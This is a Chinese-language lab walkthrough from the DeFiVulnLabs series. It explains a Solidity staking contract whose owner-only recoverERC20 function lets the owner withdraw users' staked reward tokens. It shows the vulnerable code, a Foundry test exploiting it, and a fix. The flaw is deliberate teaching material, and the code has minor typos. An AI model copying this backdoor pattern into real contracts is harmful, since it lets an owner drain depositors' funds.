漏洞解析:
//如下所示,这是一个质押的合约
contract VulnStakingRewards {
using SafeERC20 for IERC20;
IERC20 public rewardsToken;
address public owner;
event Recovered(address token, uint256 amount);
constructor(address _rewardsToken) { //定义ERC20为奖励的token
rewardsToken = IERC20(_rewardsToken);
owner = msg.sender; //拥有者为合约发送者
}
//确保调用者为合约拥有者
modifier onlyOwner(){
require(msg.sender == owner, "Only owner can call this function");
_;
}
//返还ERC20代币
//确保该合约只能合约拥有者能调用
function recoverERC20(
address tokenAddress, //ERC20 token的合约地址
uint256 tokenAmount //奖励数量
)public onlyOwner {
//缺少以下代码,导致可被合约拥有者提取提取rewardsToken
//require(
// tokenAddress != address(rewardsToken),
// "Cannot withdraw the rewardsToken"
//);
//确保提取的代币不是奖励代币
//转账给owner 合约 代币
IERC20(tokenAddress).safeTransfer(owner, tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
}
直接来看利用exp合约,可以看到就是简单的提取teward_token代币了
function setUp() public{
RewardTokenContract = new RewardToken();
VulnStakingRewardsContract = new VulnStakingRewards(
address(RewardTokenContract)
);
//转给alice 10000个RewardToken代币
RewardTokenContract.transfer(address(alice), 10000 ether);
FixedtakingRewardsContract = new FixedtakingRewards(
address(RewardTokenContract)
);
}
function testVulnStakingRewards() public{
console.log(
"Before rug RewardToken balance in VulnStakingRewardsContract",
RewardTokenContract.balanceOf(address(this))
);
vm.prank(alice);
//alice调用RewardTokenContract.transfer函数,将10000个代币转给质押合约
RewardTokenContract.transfer(
address(VulnStakingRewardsContract),
10000 ether
);
//质押合约返还1000个代币,接受的地址是RewardTokenContract合约本身
VulnStakingRewardsContract.recoverERC20(
address(RewardTokenContract),
1000 ether
);
//如果修复的话,这里就报错了,因为不能转移RewardTokenContract代币
console.log(
"After rug RewardToken balance in VulnStakingRewardsContract",
RewardTokenContract.balanceOf(address(this))
);
}
function recoverERC20(
address tokenAddress, //ERC20 token的合约地址
uint256 tokenAmount //奖励数量
) publiconlyOwner{
//确保提取的代币不是奖励代币
require(
tokenAddress != address(rewardsToken),
"Cannot withdraw the rewardsToken"
);
//转账给owner 合约 代币
IERC20(tokenAddress).safeTransfer(owner, tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
}
原文始发于微信公众号(Ice ThirdSpace):DeFiVulnLabs靶场全系列详解(四十五)质押获取的奖励代币可以被合约所有者提取——管理员后门
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论